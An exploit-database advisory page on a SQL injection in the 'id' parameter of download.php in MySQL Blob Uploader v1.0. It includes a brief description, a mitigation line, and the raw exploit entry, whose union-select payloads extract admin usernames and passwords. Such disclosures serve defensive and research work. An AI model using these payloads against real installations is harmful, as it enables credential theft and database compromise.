MySQL Blob Uploader - File Upload to Database PHP Script v1.0 - SQL Injection

vendor:

MySQL File and Image Uploader and Sharing Blob File Server

by:

Ihsan Sencan

7,5

CVSS

HIGH

SQL Injection

CWE

Product Name: MySQL File and Image Uploader and Sharing Blob File Server

Affected Version From: 1.0

Affected Version To: 1.0

Patch Exists: NO

Related CWE: N/A

CPE: a:nelliwinne:mysql_file_and_image_uploader_and_sharing_blob_file_server

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Win7 x64, Kali Linux x64

2017

MySQL Blob Uploader – File Upload to Database PHP Script v1.0 – SQL Injection

An attacker can exploit a SQL injection vulnerability in the MySQL Blob Uploader - File Upload to Database PHP Script v1.0 to gain access to the database. The vulnerability exists in the download.php file, which allows an attacker to inject malicious SQL code into the 'id' parameter. This can be exploited to gain access to the database, allowing the attacker to view, modify, or delete data.

Mitigation:

Input validation should be used to prevent SQL injection attacks. All user-supplied input should be validated and filtered before being used in SQL queries.

Source

Exploit-DB raw data:

# # # # # 
# Exploit Title: MySQL Blob Uploader - File Upload to Database PHP Script v1.0 - SQL Injection
# Google Dork: N/A
# Date: 07.02.2017
# Vendor Homepage: http://nelliwinne.net/
# Software Buy: https://codecanyon.net/item/mysql-file-and-image-uploader-and-sharing-blob-file-server/17748300
# Demo: http://demos.nelliwinne.net/MySqlFileUpload/
# Version: 1.0
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/download.php?id=[SQL]&t=files
# -9999'+/*!50000union*/+select+1,concat_ws(un,0x3c62723e,0x3c62723e,pw),3,4,5,6+from+admin-- -&t=files
# http://localhost/[PATH]/download.php?id=[SQL]&t=images_title
# -9999'+/*!50000union*/+select+1,concat_ws(un,0x3c62723e,0x3c62723e,pw),3,4,5,6,7+from+admin-- -&t=images_title
# Etc....Other files have vulnerabilities ...
# # # # #